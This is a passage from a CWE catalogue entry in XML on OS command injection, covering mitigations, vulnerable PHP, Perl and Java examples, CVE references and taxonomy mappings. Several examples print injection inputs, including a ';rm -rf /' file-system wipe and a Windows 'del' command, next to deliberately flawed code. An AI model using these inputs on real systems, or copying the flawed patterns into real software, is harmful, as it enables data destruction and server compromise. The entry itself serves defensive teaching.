					          <Mitigation_Effectiveness>Limited</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>The effectiveness of this mitigation depends on the prevention
							capabilities of the specific sandbox or jail being used and might only
							help to reduce the scope of an attack, such as restricting the attacker
							to certain system calls or limiting the portion of the file system that
							can be accessed. </Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Identify and Reduce Attack Surface</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>For any data that will be used to generate a command to be executed,
							keep as much of that data out of external control as possible. For
							example, in web applications, this may require storing the data locally
							in the session's state instead of sending it out to the client in a
							hidden form field.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-15">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>For any security checks that are performed on the client side, ensure
							that these checks are duplicated on the server side, in order to avoid
							CWE-602. Attackers can bypass the client-side checks by modifying values
							after the checks have been performed, or by changing the client to
							remove the client-side checks entirely. Then, these modified values
							would be submitted to the server.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-4.3">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a vetted library or framework that does not allow this weakness to
							occur or provides constructs that make this weakness easier to
							avoid.</Text>
						            <Text>For example, consider using the ESAPI Encoding control [R.78.8] or a
							similar tool, library, or framework. These will help the programmer
							encode outputs in a manner less prone to error.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-28">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>While it is risky to use dynamically-generated query strings, code, or
							commands that mix control and data together, sometimes it may be
							unavoidable. Properly quote arguments and escape any special characters
							within those arguments. The most conservative approach is to escape or
							filter all characters that do not pass an extremely strict whitelist
							(such as everything that is not alphanumeric or white space). If some
							special characters are still needed, such as white space, wrap each
							argument in quotes after the escaping/filtering step. Be careful of
							argument injection (CWE-88).</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>If the program to be executed allows arguments to be specified within
							an input file or from standard input, then consider using that mode to
							pass arguments instead of the command line.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-27">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Parameterization</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>If available, use structured mechanisms that automatically enforce the
							separation between data and code. These mechanisms may be able to
							provide the relevant quoting, encoding, and validation automatically,
							instead of relying on the developer to provide this capability at every
							point where output is generated.</Text>
						            <Text>Some languages offer multiple functions that can be used to invoke
							commands. Where possible, identify any function that invokes a command
							shell using a single string, and replace it with a function that
							requires individual arguments. These functions typically perform
							appropriate quoting and filtering of arguments. For example, in C, the
							system() function accepts a string that contains the entire command to
							be executed, whereas execl(), execve(), and others require an array of
							strings, one for each argument. In Windows, CreateProcess() only accepts
							one command at a time. In Perl, if system() is provided with an array of
							arguments, then it will quote each of the arguments.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
						            <Text>When constructing OS command strings, use stringent whitelists that
							limit the character set based on the expected value of the parameter in
							the request. This will indirectly limit the scope of an attack, but this
							technique is less important than proper output encoding and
							escaping.</Text>
						            <Text>Note that proper output encoding, escaping, and quoting is the most
							effective solution for preventing OS command injection, although input
							validation may provide some defense-in-depth. This is because it
							effectively limits what will appear in output. Input validation will not
							always prevent OS command injection, especially if you are required to
							support free-form text fields that could contain arbitrary characters.
							For example, when invoking a mail program, you might need to allow the
							subject field to contain otherwise-dangerous inputs like ";" and
							"&gt;" characters, which would need to be escaped or otherwise
							handled. In this case, stripping the character might reduce the risk of
							OS command injection, but it would produce incorrect behavior because
							the subject field would not be recorded as the user intended. This might
							seem to be a minor inconvenience, but it could be more important when
							the program relies on well-structured subject lines in order to pass
							messages to other components.</Text>
						            <Text>Even if you make a mistake in your validation (such as forgetting one
							out of 100 input fields), appropriate encoding is still likely to
							protect you from injection-based attacks. As long as it is not done in
							isolation, input validation is still a useful technique, since it may
							significantly reduce your attack surface, allow you to detect some
							attacks, and provide other security benefits that proper encoding does
							not address.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-21">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Enforcement by Conversion</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>When the set of acceptable objects, such as filenames or URLs, is
							limited or known, create a mapping from a set of fixed input values
							(such as numeric IDs) to the actual filenames or URLs, and reject all
							other inputs.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-32">
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Compilation or Build Hardening</Mitigation_Strategy>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Run the code in an environment that performs automatic taint
							propagation and prevents any command execution that uses tainted
							variables, such as Perl's "-T" switch. This will force the program to
							perform validation steps that remove the taint, although you must be
							careful to correctly validate your inputs so that you do not
							accidentally mark dangerous inputs as untainted (see CWE-183 and
							CWE-184).</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-39">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that error messages only contain minimal details that are
							useful to the intended audience, and nobody else. The messages need to
							strike the balance between being too cryptic and not being cryptic
							enough. They should not necessarily reveal the methods that were used to
							determine the error. Such detailed information can be used to refine the
							original attack to increase the chances of success.</Text>
						            <Text>If errors must be tracked in some detail, capture them in log messages
							- but consider what could occur if the log messages can be viewed by
							attackers. Avoid recording highly sensitive information such as
							passwords in any form. Avoid inconsistent messaging that might
							accidentally tip off an attacker about internal state, such as whether a
							username is valid or not.</Text>
						            <Text>In the context of OS Command Injection, error information passed back
							to the user might reveal whether an OS command is being executed and
							possibly which command is being used.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Sandbox or Jail</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use runtime policy enforcement to create a whitelist of allowable
							commands, then prevent use of any command that does not appear in the
							whitelist. Technologies such as AppArmor are available to do
							this.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-29">
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Firewall</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use an application firewall that can detect attacks against this
							weakness. It can be beneficial in cases in which the code cannot be
							fixed (because it is controlled by a third party), as an emergency
							prevention measure while more comprehensive software assurance measures
							are applied, or to provide defense in depth.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Moderate</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>An application firewall might not cover all possible input vectors. In
							addition, attack techniques might be available to bypass the protection
							mechanism, such as using malformed inputs that can still be processed by
							the component that receives those inputs. Depending on functionality, an
							application firewall might inadvertently reject or modify legitimate
							requests. Finally, some manual effort may be required for
							customization.</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-17">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Run your code using the lowest privileges that are required to
							accomplish the necessary tasks [R.78.9]. If possible, create isolated
							accounts with limited privileges that are only used for a single task.
							That way, a successful attack will not immediately give the attacker
							access to the rest of the software or its environment. For example,
							database applications rarely need to run as the database administrator,
							especially in day-to-day operations.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-16">
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>When using PHP, configure the application so that it does not use
							register_globals. During implementation, develop the application so that
							it does not rely on this feature, but be wary of implementing a
							register_globals emulation that is subject to weaknesses such as CWE-95,
							CWE-621, and similar issues.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>This example code intends to take the name of a user and list the
						contents of that user's home directory. It is subject to the first variant
						of OS command injection. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code> $userName = $_POST["user"];</Code>
							              <Code> $command = 'ls -l /home/' . $userName;</Code>
							              <Code> system($command);</Code>
						            </Block>
						            <Text>The $userName variable is not checked for malicious input. An attacker
							could set the $userName variable to an arbitrary OS command such as: </Text>
						            <Block Block_Nature="Attack">
							              <Code> ;rm -rf /</Code>
						            </Block>
						            <Text>Which would result in $command being:</Text>
						            <Block Block_Nature="Result">
							              <Code>ls -l /home/;rm -rf /</Code>
						            </Block>
						            <Text> Since the semi-colon is a command separator in Unix, the OS would
							first execute the ls command, then the rm command, deleting the entire
							file system.</Text>
						            <Text>Also note that this example code is vulnerable to Path Traversal
							(CWE-22) and Untrusted Search Path (CWE-426) attacks.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>This example is a web application that intends to perform a DNS
						lookup of a user-supplied domain name. It is subject to the first variant of
						OS command injection.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Perl</Code_Example_Language>
							              <Code>use CGI qw(:standard);</Code>
							              <Code>$name = param('name');</Code>
							              <Code>$nslookup = "/path/to/nslookup";</Code>
							              <Code>print header;</Code>
							              <Code>if (open($fh, "$nslookup $name|")) {</Code>
							              <Block>
								                <Code>while (&lt;$fh&gt;) {</Code>
								                <Block>
									                  <Code>print escapeHTML($_);</Code>
									                  <Code>print "&lt;br&gt;\n";</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>close($fh);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>Suppose an attacker provides a domain name like this:</Text>
						            <Block Block_Nature="Attack">
							              <Code>cwe.mitre.org%20%3B%20/bin/ls%20-l</Code>
						            </Block>
						            <Text>The "%3B" sequence decodes to the ";" character, and the %20 decodes
							to a space. The open() statement would then process a string like
							this:</Text>
						            <Block Block_Nature="Result">
							              <Code>/path/to/nslookup cwe.mitre.org ; /bin/ls -l</Code>
						            </Block>
						            <Text>As a result, the attacker executes the "/bin/ls -l" command and gets a
							list of all the files in the program's working directory. The input
							could be replaced with much more dangerous commands, such as installing
							a malicious program on the server.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The example below reads the name of a shell script to execute from
						the system properties. It is subject to the second variant of OS command
						injection.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String script = System.getProperty("SCRIPTNAME");</Code>
							              <Code>if (script != null)</Code>
							              <Block>
								                <Code>System.exec(script);</Code>
							              </Block>
						            </Block>
						            <Text>If an attacker has control over this property, then he or she could
							modify the property to point to a dangerous program.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-29">
					          <Intro_Text>The following code is from a web application that allows users
						access to an interface through which they can update their password on the
						system. Part of the process for updating passwords in certain network
						environments is to run a make command in the /var/yp directory, the code for
						which is shown below.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>...</Code>
							              <Code>System.Runtime.getRuntime().exec("make");</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>The problem here is that the program does not specify an absolute path
							for make and does not clean its environment prior to executing the call
							to Runtime.exec(). If an attacker can modify the $PATH variable to point
							to a malicious binary called make and cause the program to be executed
							in their environment, then the malicious binary will be loaded instead
							of the one intended. Because of the nature of the application, it runs
							with the privileges necessary to perform system operations, which means
							the attacker's make will now be run with these privileges, possibly
							giving the attacker complete control of the system.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>In the example below, a method is used to transform geographic
						coordinates from latitude and longitude format to UTM format. The method
						gets the input coordinates from a user through a HTTP request and executes a
						program local to the application server that performs the transformation.
						The method passes the latitude and longitude coordinates as a command-line
						option to the external program and will perform some processing to retrieve
						the results of the transformation and return the resulting UTM coordinates. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public String coordinateTransformLatLonToUTM(String
								coordinates)</Code>
							              <Code>{</Code>
							              <Block>
								                <Code>String utmCoords = null;</Code>
								                <Code>try {</Code>
								                <Block>
									                  <Code>String latlonCoords = coordinates;</Code>
									                  <Code>Runtime rt = Runtime.getRuntime();</Code>
									                  <Code>Process exec = rt.exec("cmd.exe /C latlon2utm.exe -" +
										latlonCoords);</Code>
									                  <Comment>// process results of coordinate transform</Comment>
									                  <Comment>// ...</Comment>
								                </Block>
								                <Code>}</Code>
								                <Code>catch(Exception e) {...}</Code>
								                <Code>return utmCoords;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, the method does not verify that the contents of the
							coordinates input parameter includes only correctly-formatted latitude
							and longitude coordinates. If the input coordinates were not validated
							prior to the call to this method, a malicious user could execute another
							program local to the application server by appending '&amp;'
							followed by the command for another program to the end of the coordinate
							string. The '&amp;' instructs the Windows operating system to
							execute another program.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-28">
					          <Intro_Text>The following code is from an administrative web application
						designed to allow users to kick off a backup of an Oracle database using a
						batch-file wrapper around the rman utility and then run a cleanup.bat script
						to delete some temporary files. The script rmanDB.bat accepts a single
						command line parameter, which specifies what type of backup to perform.
						Because access to the database is restricted, the application runs the
						backup as a privileged user.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>...</Code>
							              <Code>String btype = request.getParameter("backuptype");</Code>
							              <Code>String cmd = new String("cmd.exe /K \"</Code>
							              <Block>
								                <Code>c:\\util\\rmanDB.bat "</Code>
								                <Code>+btype+</Code>
								                <Code>"&amp;&amp;c:\\utl\\cleanup.bat\"")</Code>
							              </Block>
							              <Code>System.Runtime.getRuntime().exec(cmd);</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>The problem here is that the program does not do any validation on the
							backuptype parameter read from the user. Typically the Runtime.exec()
							function will not execute multiple commands, but in this case the
							program first runs the cmd.exe shell in order to run multiple commands
							with a single call to Runtime.exec(). Once the shell is invoked, it will
							happily execute multiple commands separated by two ampersands. If an
							attacker passes a string of the form "&amp; del c:\\dbms\\*.*", then
							the application will execute this command along with the others
							specified by the program. Because of the nature of the application, it
							runs with the privileges necessary to interact with the database, which
							means whatever command the attacker injects will run with those
							privileges as well.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-0067</Observed_Example_Reference>
					          <Observed_Example_Description>Canonical example. CGI program does not neutralize
						"|" metacharacter when invoking a phonebook
						program.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1246</Observed_Example_Reference>
					          <Observed_Example_Description>Language interpreter's mail function accepts
						another argument that is concatenated to a string used in a dangerous
						popen() call. Since there is no neutralization of this argument, both OS
						Command Injection (CWE-78) and Argument Injection (CWE-88) are
						possible.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0061</Observed_Example_Reference>
					          <Observed_Example_Description>Web server allows command execution using "|"
						(pipe) character.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0041</Observed_Example_Reference>
					          <Observed_Example_Description>FTP client does not filter "|" from filenames
						returned by the server, allowing for OS command
						injection.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-2575</Observed_Example_Reference>
					          <Observed_Example_Description>Shell metacharacters in a filename in a ZIP
						archive</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1898</Observed_Example_Reference>
					          <Observed_Example_Description>Shell metacharacters in a telnet:// link are not
						properly handled when the launching application processes the
						link.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-4304</Observed_Example_Reference>
					          <Observed_Example_Description>OS command injection through environment
						variable.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-4796</Observed_Example_Reference>
					          <Observed_Example_Description>OS command injection through https://
						URLs</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-3572</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: incomplete blacklist for OS command
						injection</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2012-1988</Observed_Example_Reference>
					          <Observed_Example_Description>Product allows remote users to execute arbitrary
						commands by creating a file whose pathname contains shell
						metacharacters.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Functional_Areas>
				        <Functional_Area>Program invocation</Functional_Area>
			      </Functional_Areas>
			      <Affected_Resources>
				        <Affected_Resource>System Process</Affected_Resource>
			      </Affected_Resources>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>More investigation is needed into the distinction between the OS command
						injection variants, including the role with argument injection (CWE-88).
						Equivalent distinctions may exist in other injection-related problems such
						as SQL injection.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference Local_Reference_ID="R.78.1">
					          <Reference_Author>G. Hoglund</Reference_Author>
					          <Reference_Author>G. McGraw</Reference_Author>
					          <Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					          <Reference_Publisher>Addison-Wesley</Reference_Publisher>
					          <Reference_PubDate>2004-02</Reference_PubDate>
				        </Reference>
				        <Reference Local_Reference_ID="R.78.2">
					          <Reference_Author>Pascal Meunier</Reference_Author>
					          <Reference_Title>Meta-Character Vulnerabilities</Reference_Title>
					          <Reference_PubDate>2008-02-20</Reference_PubDate>
					          <Reference_Link>http://www.cs.purdue.edu/homes/cs390s/slides/week09.pdf</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.78.3">
					          <Reference_Author>Robert Auger</Reference_Author>
					          <Reference_Title>OS Commanding</Reference_Title>
					          <Reference_PubDate>2009-06</Reference_PubDate>
					          <Reference_Link>http://projects.webappsec.org/OS-Commanding</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.78.4">
					          <Reference_Author> Lincoln Stein</Reference_Author>
					          <Reference_Author> John Stewart</Reference_Author>
					          <Reference_Title>The World Wide Web Security FAQ</Reference_Title>
					          <Reference_Section>chapter: "CGI Scripts"</Reference_Section>
					          <Reference_PubDate>2002-02-04</Reference_PubDate>
					          <Reference_Link>http://www.w3.org/Security/Faq/wwwsf4.html</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.78.5">
					          <Reference_Author>Jordan Dimov, Cigital</Reference_Author>
					          <Reference_Title>Security Issues in Perl Scripts</Reference_Title>
					          <Reference_Link>http://www.cgisecurity.com/lib/sips.html</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-17" Local_Reference_ID="R.78.6">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 10: Command Injection." Page 171</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
				        <Reference Local_Reference_ID="R.78.7">
					          <Reference_Author>Frank Kim</Reference_Author>
					          <Reference_Title>Top 25 Series - Rank 9 - OS Command Injection</Reference_Title>
					          <Reference_Publisher>SANS Software Security Institute</Reference_Publisher>
					          <Reference_Date>2010-02-24</Reference_Date>
					          <Reference_Link>http://blogs.sans.org/appsecstreetfighter/2010/02/24/top-25-series-rank-9-os-command-injection/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-21" Local_Reference_ID="R.78.8">
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>OWASP Enterprise Security API (ESAPI) Project</Reference_Title>
					          <Reference_Link>http://www.owasp.org/index.php/ESAPI</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-31" Local_Reference_ID="R.78.9">
					          <Reference_Author>Sean Barnum</Reference_Author>
					          <Reference_Author>Michael Gegick</Reference_Author>
					          <Reference_Title>Least Privilege</Reference_Title>
					          <Reference_PubDate>2005-09-14</Reference_PubDate>
					          <Reference_Link>https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-7" Local_Reference_ID="R.78.10">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 8, "Shell Metacharacters", Page
						425.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>OS Command Injection</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2007">
					          <Mapped_Node_Name>Malicious File Execution</Mapped_Node_Name>
					          <Mapped_Node_ID>A3</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Injection Flaws</Mapped_Node_Name>
					          <Mapped_Node_ID>A6</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Sanitize the environment when invoking external
						programs</Mapped_Node_Name>
					          <Mapped_Node_ID>ENV03-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Do not call system() if you do not need a command
						processor</Mapped_Node_Name>
					          <Mapped_Node_ID>ENV04-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Sanitize data passed to complex subsystems</Mapped_Node_Name>
					          <Mapped_Node_ID>STR02-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>OS Commanding </Mapped_Node_Name>
					          <Mapped_Node_ID>31</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not pass untrusted, unsanitized data to the Runtime.exec()
						method</Mapped_Node_Name>
					          <Mapped_Node_ID>IDS07-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Sanitize data passed to complex subsystems</Mapped_Node_Name>
					          <Mapped_Node_ID>STR02-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Sanitize the environment when invoking external
						programs</Mapped_Node_Name>
					          <Mapped_Node_ID>ENV03-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Do not call system() if you do not need a command
						processor</Mapped_Node_Name>
					          <Mapped_Node_ID>ENV04-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <White_Box_Definitions>
				        <White_Box_Definition>
					          <Text>A weakness where the code path has:</Text>
					          <Block>
						            <Text>1. start statement that accepts input</Text>
						            <Text>2. end statement that executes an operating system command
							where</Text>
						            <Block>
							              <Text>a. the input is used as a part of the operating system command
								and</Text>
							              <Text>b. the operating system command is undesirable</Text>
						            </Block>
					          </Block>
					          <Text>Where "undesirable" is defined through the following scenarios:</Text>
					          <Block>
						            <Text>1. not validated</Text>
						            <Text>2. incorrectly validated</Text>
					          </Block>
				        </White_Box_Definition>
			      </White_Box_Definitions>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>108</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>15</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>43</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>6</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>88</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>KDM Analytics</Modifier_Organization>
					          <Modification_Date>2008-08-01</Modification_Date>
					          <Modification_Comment>added/updated white box definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2008-08-15</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten 2004
						mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
